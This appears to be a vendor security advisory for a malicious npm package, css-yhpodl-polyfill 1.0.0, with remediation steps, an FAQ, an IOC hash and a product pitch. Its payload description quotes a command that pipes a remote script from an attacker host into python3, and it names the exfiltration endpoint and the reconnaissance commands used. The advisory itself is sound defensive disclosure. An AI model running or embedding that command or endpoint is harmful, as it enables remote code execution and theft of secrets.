Which versions of css-yhpodl-polyfill are malicious?

The following npm versions of css-yhpodl-polyfill are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate css-yhpodl-polyfill if I installed it?

css-yhpodl-polyfill is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed css-yhpodl-polyfill — how do I know if it already compromised me?

If css-yhpodl-polyfill was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is css-yhpodl-polyfill part of a known attack campaign?

Yes — css-yhpodl-polyfill is associated with the IN-MAL-2026-021075 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find css-yhpodl-polyfill across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for css-yhpodl-polyfill (version 1.0.0).

Malicious package

css-yhpodl-polyfillnpm

Advisory published Oct 5, 2026Updated Oct 5, 2026

css-yhpodl-polyfill is a confirmed malicious npm package (MAL-2026-17578) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in css-yhpodl-polyfill (npm)

MAL-2026-17578

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall css-yhpodl-polyfill

What this malware does

css-yhpodl-polyfill ships thunderboltRegistry.js which, as an IIFE executed on require, runs shell reconnaissance (id, whoami, env, ifconfig/ip addr, hostname) via child_process.execSync and sends the collected host identity and full environment variables via GET to the hardcoded Burp Collaborator OAST endpoint https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The same file executes curl -L https://appsecc.com/py | python3, piping an attacker-controlled remote Python payload into python3 for arbitrary code execution on the installer host. The package name and exported identifiers (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry) impersonate Wix's internal thunderbolt namespace, and registry-manifest.min.json references parastorage.com (Wix CDN) — the shape of a targeted dependency-confusion attack against the Wix engineering build pipeline. Installing or requiring this package exfiltrates environment secrets and grants remote code execution to the attacker.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

5936fc65b4eba7b461c0eef7b66dfeecdc2da412f54fd667873e3e6950b0a857

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for css-yhpodl-polyfill (version 1.0.0).
If you installed it — respond
css-yhpodl-polyfill is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If css-yhpodl-polyfill was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. css-yhpodl-polyfill on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-021075

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks css-yhpodl-polyfill-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database